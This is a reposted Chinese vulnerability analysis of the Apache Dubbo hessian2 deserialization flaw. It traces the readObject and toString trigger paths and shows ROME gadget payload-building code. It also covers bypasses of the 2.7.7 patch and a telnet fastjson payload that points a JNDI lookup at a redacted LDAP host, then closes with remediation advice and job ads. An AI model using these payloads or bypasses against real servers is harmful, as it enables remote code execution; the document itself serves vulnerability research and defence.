Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:12925 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
Apache Dubbo 反序列化漏洞
本文来自公众号:雷神众测   2020.07.07 15:00:20


No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

漏洞描述

开篇之前,我已经把绕过思路都写清楚了,基本上涵盖了目前绕过思路,无非两种,一种寻找toString触发,一种寻找readObject入口,后面可以慢慢看。
dubbo于2020年6月22日更新了一个 hessian2 反序列化的漏洞,影响版本:

Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)

No.3

环境搭建

服务端

public class A implements Serializable {

String name = "l1nk3r";

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

}

public interface DemoService {

String hello(A a);

Object Sayhello(Object o);

}

public class DemoServiceImpl implements DemoService {

public String hello(A a) {

return "hello! " + a.getName();

}

public Object Sayhello(Object o) {

return "hello! ";

}

}

public class Provider {

public static void main(String[] args) {

new ClassPathXmlApplicationContext("dubbo-provider.xml");

while (true);

}

//dubbo-provider.xml

<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dubbo="http://dubbo.apache.org/schema/dubbo" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd">

<!-- 提供方应用信息,用于计算依赖关系 -->

<dubbo:application name="dubbo-service" />

<!-- 使用multicast广播注册中心暴露服务地址 -->

<!-- <dubbo:registry address="multicast://***.*.*.*:****" /> -->

<!-- 使用zookeeper注册中心暴露服务地址 -->

<dubbo:registry address="zookeeper:// *** . *. * .* :**** " />


<!-- 用dubbo协议在20881端口暴露服务 -->

<dubbo:protocol name="dubbo" port="*****" />

<!-- 声明需要暴露的服务接口 -->

<dubbo:service interface="com.l1nk3r.dubbo.DemoService"

ref="demoService" />


<!-- 和本地bean一样实现服务 -->

<bean id="demoService" class="com.l1nk3r.dubbo.DemoServiceImpl" />

</beans>

客户端

public class Consumer {

public static void main(String[] args) {

ApplicationContext applicationContext = new ClassPathXmlApplicationContext("dubbo-consumer.xml");

DemoService demoService = (DemoService) applicationContext.getBean("demoService");

System.out.println(demoService.hello(new A()));

}

}

No.4

漏洞分析

1、readobject入口

dubbo 的 org.apache.dubbo.remoting.transport.DecodeHandler# received 方法负责接收来自 socket 的连接,当请求的时候,会自动调用 DecodeHandler# decode 来处理传入的请求。

public void received(Channel channel, Object message) throws RemotingException {
...

if (message instanceof Request) {                  this.decode(((Request)message).getData());
}

跟进 DecodeHandler# decode 方法,由于接收的是RPC请求,因此会来到 DecodeableRpcInvocation# decode 处理 socket 传入的数据。

private void decode(Object message) {

if (message instanceof Decodeable) {

try {

((Decodeable)message).decode();

在 DecodeableRpcInvocation# decode 方法中,会进一步调用 decode(Channel channel, InputStream input) 这个构造方法。

public void decode() throws Exception {

if (!this.hasDecoded && this.channel != null && this.inputStream != null) {

try {

this.decode(this.channel, this.inputStream);

跟进 decode(Channel channel, InputStream input) 这个构造方法,核心触发点代码就是下面这些了,先分别来看看。

public Object decode(Channel channel, InputStream input) throws IOException {

ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

..

for(int i = 0; i < args.length; ++i) {

try {

args[i] = in.readObject(pts[i]);

先看下面这段代码:

ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

这段代码首先会从channel.getUrl()中获取下列内容

dubbo://**.**.**.***:*****/com.l1nk3r.dubbo.DemoService?anyhost=true&application=dubbo-service&bind.ip=**.**.**.***&bind.port=*****&channel.readonly.sent=true&codec=dubbo&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&heartbeat=60000&interface=com.l1nk3r.dubbo.DemoService&methods=Sayhello,hello&pid=63947&release=2.7.6&side=provider&threadname=DubboServerHandler- *** . *. * .* :**** &timestamp=1593580866485

而此时的this.serializationType结果为2,进入CodecSupport.getSerialization进行处理。

此时的 serialization 对象会根据刚刚的this.serializationType进入到map进行查找,不同的id对应不同的 Serialization ,这里的结果是14个。它们分别是

2-->"org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization@2685de5c",

3-->"org.apache.dubbo.common.serialize.java.JavaSerialization@36536b53",

4-->"org.apache.dubbo.common.serialize.java.CompactedJavaSerialization@17699a12",

6-->"org.apache.dubbo.common.serialize.fastjson.FastJsonSerialization@4e5571bb",

7-->"org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization@46aa2113",

8-->"org.apache.dubbo.common.serialize.kryo.KryoSerialization@6b0ed366",

9-->"org.apache.dubbo.common.serialize.fst.FstSerialization@30ec7d1f",

10-->"org.apache.dubbo.serialize.hessian.Hessian2Serialization@55511a10",

11-->"org.apache.dubbo.common.serialize.avro.AvroSerialization@42e41b10",

12-->"org.apache.dubbo.common.serialize.protostuff.ProtostuffSerialization@5fec75c9",

16-->"org.apache.dubbo.common.serialize.gson.GsonSerialization@c3bffae",

21-->"org.apache.dubbo.common.serialize.protobuf.support.GenericProtobufJsonSerialization@51e7f5a3",

22-->"org.apache.dubbo.common.serialize.protobuf.support.GenericProtobufSerialization@33394814",

25-->"org.apache.dubbo.common.serialize.kryo.optimized.KryoSerialization2@f473187"

然后会调用进入url.getParameter("serialization", "hessian2"),最后满足if判断的情况下就会返回hessian2.Hessian2Serialization这个对象

public static Serialization getSerialization(URL url, Byte id) throws IOException {

Serialization serialization = getSerializationById(id);

String serializationName = url.getParameter("serialization", "hessian2");

if (serialization != null && (id != 3 && id != 7 && id != 4 || serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id)))) {

return serialization;

跟进url.getParameter("serialization", "hessian2"),这里会有一个getParameter(key),而这个key正是我们前面url中的 serialization ,但是很有趣的一点,我们的url中是没有这个 Parameter ,也就是说当满足StringUtils.isEmpty(value)这个判断的情况下,返回结果自然是 defaultValue 也就是传入的 hessian2。从这里也可以知道dubbo这个协议默认是走 hessian2 的。

public String getParameter(String key, String defaultValue) {
String value = this.getParameter(key);        return StringUtils.isEmpty(value) ? defaultValue : value;
}

这里过程都处理完之后,就来到DecodeableRpcInvocation 的 decode(Channel channel, InputStream input) 这个构造方法漏洞的入口 readobject 了,而这里的 in 对象实际上就是我们前面返回的hessian2.Hessian2Serialization对象。

public Object decode(Channel channel, InputStream input) throws IOException {

ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

...

for(int i = 0; i < args.length; ++i) {

try {

args[i] = in.readObject(pts[i]);

进一步跟进来到的就是 hessian2.Hessian2ObjectInput# readObject 方法了。

public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException {

return this.mH2i.readObject(cls);

}

继续一直跟进会来到 Hessian2Input 这个方法中的readObject(List<Class<?>> expectedTypes)构造方法,在这个方法里的 case 72 就是本次漏洞的核心点触发点map。

case 72:

boolean keyValuePair = expectedTypes != null && expectedTypes.size() == 2;

reader = this.findSerializerFactory().getDeserializer(Map.class);

return reader.readMap(this, keyValuePair ? (Class)expectedTypes.get(0) : null, keyValuePair ? (Class)expectedTypes.get(1) : null);

继续跟进reader.readMap,这里会调用 MapDeserializer# readMap 进行处理。

继续跟进这个 MapDeserializer# doReadMap 就可以看到了,这里调用的 map.put ,后面再来说这个东西有啥用。

先看一下 rome 这个 gadget

private static Object getPayload() throws Exception {
String jndiUrl = "ldap://***.*.*.*:****/******";
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
EqualsBean root = new EqualsBean(ToStringBean.class,item);        return JDKUtil.makeMap(root,root);
}

首先创建了一个 ToStringBean 的 item ,将 beanClass 设置为了 JdbcRowSetImpl ,obj设置为放入JNDI地址的 JdbcRowSetImpl 对象。

public ToStringBean(Class<?> beanClass, Object obj) {

this.beanClass = beanClass;

this.obj = obj;

public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {

JdbcRowSetImpl rs = new JdbcRowSetImpl();

rs.setDataSourceName(jndiUrl);

rs.setMatchColumn("foo");

Reflections.getField(BaseRowSet.class, "listeners").set(rs, (Object)null);

return rs;

}

其次创建一个 EqualsBean ,把前面那个item放进去。

public EqualsBean(Class<?> beanClass, Object obj) {

if (!beanClass.isInstance(obj)) {

throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);

} else {

this.beanClass = beanClass;

this.obj = obj;

}

}

最后通过 **JDKUtil.makeMap** 反射构造数组的方式,防止在放入root对象的时候触发put方法导致出发利用代码。

public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {

HashMap<Object, Object> s = new HashMap();

Reflections.setFieldValue(s, "size", 2);


Class nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

} catch (ClassNotFoundException var6) {

nodeC = Class.forName("java.util.HashMap$Entry");

}


Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

return s;

}

这里为什么会样呢,原因就在于 ToStringBean 有个 toString 方法,这个方法会根据 beanClass 的 getter 构造方法。

private String toString(String prefix) {

StringBuffer sb = new StringBuffer(128);


try {

List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);

Iterator var10 = propertyDescriptors.iterator();


while(var10.hasNext()) {

PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();

String propertyName = propertyDescriptor.getName();

Method getter = propertyDescriptor.getReadMethod();

Object value = getter.invoke(this.obj, NO_PARAMS);

this.printProperty(sb, prefix + "." + propertyName, value);

}

而在 EqualBean 里有个 hashCode 方法,这个方法会调用obj对象的toString方法。

public int hashCode() {

return this.beanHashCode();

}


public int beanHashCode() {

return this.obj.toString().hashCode();

}

好了再回到dubbo当中,我们刚刚知道 MapDeserializer# doReadMap 会调用的 map.put ,在跟进 map.put 我们会看到这里会调用hash(key),来进行计算,而这个计算方法,自然会调用key对象的 hashCode 方法,假设key对象是 EqualBean ,那么这里的利用链自然就串起来了。

public V put(K key, V value) {

return putVal(hash(key), key, value, false, true);

}


static final int hash(Object key) {

int h;

return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

}

下面就是调用栈了,很遗憾,这个点实际上修复的并不完全,依然在2.7.7上可以利用。

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)

hashCode:180, EqualsBean (com.rometools.rome.feed.impl)

hash:338, HashMap (java.util)

put:611, HashMap (java.util)

doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)

decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)

received:44, DecodeHandler (org.apache.dubbo.remoting.transport)

2、toString入口

这个入口的POC实际上被公开了,应该算是dubbo自己有问题,把提交者邮件正文内容全部公开,这条链走的实际上并不是 readObject 入口,而是 toString 口,我们来细看一下,前面的流程都和 readObject 入口一致,前面也是经过 DecodeHandler# decode 进行解码操作,最后来到 DecodeableRpcInvocation# decode 这个方法中,下面代码是核心触发点。

for(int i = 0; i < args.length; ++i) {

args[i] = CallbackServiceCodec.decodeInvocationArgument(channel, this, pts, i, args[i]);

}

跟进 decodeInvocationArgument 方法,重点可以看看DubboProtocol.getDubboProtocol().getInvoker

public static Object decodeInvocationArgument(Channel channel, RpcInvocation inv, Class<?>[] pts, int paraIndex, Object inObject) throws IOException {

URL url = null;


try {

url = DubboProtocol.getDubboProtocol().getInvoker(channel, inv).getUrl();

} catch (RemotingException var10) {

if (logger.isInfoEnabled()) {

logger.info(var10.getMessage(), var10);

}


return inObject;

}

在 getInvoker 当中,针对inv进行了 getInvocationWithoutData 的处理。

Invoker<?> getInvoker(Channel channel, Invocation inv) throws RemotingException {

...

if (exporter == null) {

throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));

} else {

return exporter.getInvoker();

}

}

跟进 getInvocationWithoutData 的处理,这里有个判断,当 logger 不是 debug 状态的时候,将 Arguments 设置为空。

private Invocation getInvocationWithoutData(Invocation invocation) {

if (this.logger.isDebugEnabled()) {

return invocation;

} else if (invocation instanceof RpcInvocation) {

RpcInvocation rpcInvocation = (RpcInvocation)invocation;

rpcInvocation.setArguments((Object[])null);

return rpcInvocation;

} else {

return invocation;

}

}

那这里就有个疑惑了,如果已经处理了,为什么在2.7.6上用这个poc依然能够攻击成功呢。

为了解决这个疑惑,我们来分别看看,当前环境下的 DecodeableRpcInvocation 确实是满足继承 RpcInvocation 。

为了达到这段代码效果,手动将 Arguments 设置为 null ,实际经过这么处理之后,确实是不会触发的。

这就很纳闷了,在我不设置日志级别的情况下会触发。

在我设置了日志级别的情况下,不会触发,所以这里小心求证,应该是不设置日志级别的情况下,默认是debug。

当然这条链的最后调用栈如下所示。

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

valueOf:2994, String (java.lang)

toString:4571, Arrays (java.util)

toString:429, RpcInvocation (org.apache.dubbo.rpc)

valueOf:2994, String (java.lang)

append:131, StringBuilder (java.lang)

getInvoker:265, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)

reply:120, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)

handleRequest:100, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:175, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:51, DecodeHandler (org.apache.dubbo.remoting.transport)

run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

runWorker:1142, ThreadPoolExecutor (java.util.concurrent)

run:617, ThreadPoolExecutor$Worker (java.util.concurrent)

run:745, Thread (java.lang)

No.5

补丁以及绕过

在2.7.7当中,dubbo增加了一段代码。

if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {

throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());

}

当这段代码逻辑有点问题,也就说只要 method 匹配 invoke ,invokeAsync ,echo,让!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())这个逻辑判断为 false 可以绕过,这里的判断应该是为了判断方法名字和路径一致增加的吧。

public static boolean isGenericCall(String path, String method) {

return "$invoke".equals(method) || "$invokeAsync".equals(method);

}


public static boolean isEcho(String path, String method) {

return "$echo".equals(method);

}

前面我们提到过的,在 getInvocationWithoutData 当中也处理了一条链。

1、寻找新的readObject入口

这个 gadget 来自 @threedr3am 师傅的之前dubbo攻击 hessian2 文章中,核心思路他找到了一条新的 readObject ,来自 org.apache.dubbo.common.serialize.readEvent 当中。

其实我觉得核心思路在这里 DubboCodec# decodeBody 。当req.isEvent()结果为true的时候,就会进入这个if逻辑进行操作。

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {

...

try {

Object data;

if (req.isEvent()) {

in = CodecSupport.deserialize(channel.getUrl(), is, proto);

data = this.decodeEventData(channel, in);

而 isEvent 主要是返回 this.mEvent 的值。

public boolean isEvent() {

return this.mEvent;

}

这个 this.mEvent 的值是怎么来的,继续往下看,flag 是 header[2] 数组的值,这里是request请求,没有什么疑问前面也提到了,所以会进来这里进行处理。这个做了一个(flag & 32) != 0的逻辑判断,如果是true的情况下,就会将调用 setEvent 方法。

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {

byte flag = header[2];

...

} else {

Request req = new Request(id);

req.setVersion(Version.getProtocolVersion());

req.setTwoWay((flag & 64) != 0);

if ((flag & 32) != 0) {

req.setEvent(true);

}

在 setEvent(boolean mEvent) 构造方法中,可以清楚看到这里的结果是true,因此自然会回到上面的流程中,进行 decodeEventData 处理了。

public void setEvent(boolean mEvent) {

this.mEvent = mEvent;

}

这里再提一点,如果req.isEvent()为false的情况下,就会来到下面的操作了,这里和之前的出发点非常相似。

DecodeableRpcInvocation inv;

if (channel.getUrl().getParameter("decode.in.io", false)) {

inv = new DecodeableRpcInvocation(channel, req, is, proto);

inv.decode();

} else {

inv = new DecodeableRpcInvocation(channel, req, new UnsafeByteArrayInputStream(this.readMessageData(is)), proto);

}


data = inv;

跟进 ExchangeCodec# decodeEventData 之后会直接 return 调用 ObjectInput# readEvent 方法。

protected Object decodeEventData(Channel channel, ObjectInput in) throws IOException {

try {

return in.readEvent();

} catch (ClassNotFoundException | IOException var4) {

throw new IOException(StringUtils.toString("Decode dubbo protocol event failed.", var4));

}

}

再继续跟进 ObjectInput# readEvent 方法就会来到readObject入口了,这里就和前面漏洞提交的触发利用链一致了。

default Object readEvent() throws IOException, ClassNotFoundException {

return this.readObject();

}

这里再提一点, @threedr3am 师傅为了满足进入这个逻辑进行触发,做了一些特殊的header处理。这里我们可以看到 flag 的byte为-94,proto的byte为2,前面我们提过2-->"org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization。

调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)

hashCode:180, EqualsBean (com.rometools.rome.feed.impl)

hash:338, HashMap (java.util)

put:611, HashMap (java.util)

doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:93, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)

readEvent:83, ObjectInput (org.apache.dubbo.common.serialize)

decodeEventData:400, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decodeBody:122, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)

decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)

decode:85, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)

No.6

后话

期间在调试过程中,发现一些师傅发了一种利用telnet直接连接端口配合 fastjson 执行的情况。

invoke com.baidu.hellofastjson("aa",{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://***.*.*.*:****/chober","autoCommit":true}}, "poc":11})

核心点在这里 HeaderExchangeHandler# received ,遇到message instanceof String的情况,就会转发到 TelnetHandlerAdapter# telnet 方法进行处理

public void received(Channel channel, Object message) throws RemotingException {

ExchangeChannel exchangeChannel = HeaderExchangeChannel.getOrAddChannel(channel);

if (message instanceof Request) {

Request request = (Request)message;

if (request.isEvent()) {

this.handlerEvent(channel, request);

} else if (request.isTwoWay()) {

this.handleRequest(exchangeChannel, request);

} else {

this.handler.received(exchangeChannel, request.getData());

}

} else if (message instanceof Response) {

handleResponse(channel, (Response)message);

} else if (message instanceof String) {

if (isClientSide(channel)) {

Exception e = new Exception("Dubbo client can not supported string message: " + message + " in channel: " + channel + ", url: " + channel.getUrl());

logger.error(e.getMessage(), e);

} else {

String echo = this.handler.telnet(channel, (String)message);

if (echo != null && echo.length() > 0) {

channel.send(echo);

}

}

} else {

this.handler.received(exchangeChannel, message);

}

跟进 TelnetHandlerAdapter# telnet 获取前缀dubbo>中内容。

public String telnet(Channel channel, String message) throws RemotingException {

String prompt = channel.getUrl().getParameterAndDecoded("prompt", "dubbo>");

...

if (command.length() > 0) {

if (this.extensionLoader.hasExtension(command)) {

if (this.commandEnabled(channel.getUrl(), command)) {

try {

String result = ((TelnetHandler)this.extensionLoader.getExtension(command)).telnet(channel, message);


在extensionLoader.hasExtension(command)会进行处理,当出现时 invoke 关键字的时候,自然是进入org.apache.dubbo.qos.legacy.InvokeTelnetHandler处理。

还有一些其他方法。

ls=org.apache.dubbo.qos.legacy.ListTelnetHandler

ps=org.apache.dubbo.qos.legacy.PortTelnetHandler

cd=org.apache.dubbo.qos.legacy.ChangeTelnetHandler

pwd=org.apache.dubbo.qos.legacy.CurrentTelnetHandler

invoke=org.apache.dubbo.qos.legacy.InvokeTelnetHandler

trace=org.apache.dubbo.qos.legacy.TraceTelnetHandler

count=org.apache.dubbo.qos.legacy.CountTelnetHandler

select=org.apache.dubbo.qos.legacy.SelectTelnetHandler

shutdown=org.apache.dubbo.qos.legacy.ShutdownTelnetHandler

在 InvokeTelnetHandler# telnet 会触发 JSON.parseArray 操作,如果是低版本 fastjson ,你懂的。

public String telnet(Channel channel, String message) {

if (StringUtils.isEmpty(message)) {

...

try {

list = JSON.parseArray("[" + args + "]", Object.class);

附上到这里的调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

...

parseArray:535, JSON (com.alibaba.fastjson)

telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)

telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)

received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:51, DecodeHandler (org.apache.dubbo.remoting.transport)

run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

runWorker:1142, ThreadPoolExecutor (java.util.concurrent)

run:617, ThreadPoolExecutor$Worker (java.util.concurrent)

run:745, Thread (java.lang)

最后再提一嘴,这个漏洞配合spring的gadget是非常香的,因为dubbo的demo也是自带的。:

No.7

修复建议

• 出网限制

经研究当前存在的反序列化利用链大多需要远程加载恶意类,如果没有特殊需求,建议在不影响业务的情况下将服务器配置出外网限制。

• IP白名单

建议用户将能够连接至Dubbo服务端的消费端IP加入到可信IP白名单里,并在服务端配置可信IP白名单,以防止攻击者在外部直接发起连接请求。

• 更换默认的反序列化方式

Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。

• 关闭公网端口

不要将Dubbo服务端的开放端口暴露在公网,但需要注意这种场景若攻击者在内网环境仍然可以进行攻击。

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】
1.  责任心强,性格活泼,具备良好的人际交往能力;
2.  对网络安全感兴趣,对行业有基本了解;
3.  良好的文案写作能力和活动组织协调能力。


简历投递至 strategy@dbappsecurity.com.cn


设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn

安全招聘
————————

公司:安恒信息
岗位: Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位: 安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 strategy@dbappsecurity.com.cn


岗位: 红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
